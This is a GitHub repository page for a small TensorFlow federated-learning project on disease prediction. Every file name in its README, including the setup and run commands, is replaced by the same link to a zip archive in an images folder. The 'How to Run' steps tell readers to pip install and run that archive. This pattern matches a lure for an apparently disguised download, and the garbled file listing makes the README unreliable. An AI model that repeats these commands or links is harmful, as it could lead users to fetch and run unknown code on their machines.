Skip to content

sidd0227/Federated

Repository files navigation

fedreted_learning

Federated Learning for Disease Prediction

This project implements a simple Federated Learning setup using TensorFlow, NumPy, and Pandas. It trains local models on different partitions of data and aggregates them using Federated Averaging.

FedHealth Architecture

Overview of FedHealth Framework

Project Structure

├── data/
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   └── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│
├── models/
│   └── global_model.h5
│
├── results/
│   └── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│
├── src/
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│   └── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│
├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
└── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip

Folders

  • data/: Contains the training and testing CSV files.
  • models/: Stores the saved global model after federated training.
  • results/: Contains evaluation results like accuracies.
  • src/: Contains all Python source code split into modular files.

Files


How to Run

  1. Install required packages:
pip install -r https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
  1. Run the main script:
python https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
  1. Outputs:
    • Global model saved at models/global_model.h5
    • Client accuracies and global accuracy saved at https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip

Requirements

  • TensorFlow
  • NumPy
  • Pandas
  • scikit-learn

Notes

  • This project is designed for understanding basic federated learning concepts.
  • You can adjust num_clients in https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip to simulate different numbers of clients.
  • You can replace the dataset with any other classification dataset for experiments.

Made with for learning federated machine learning!

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages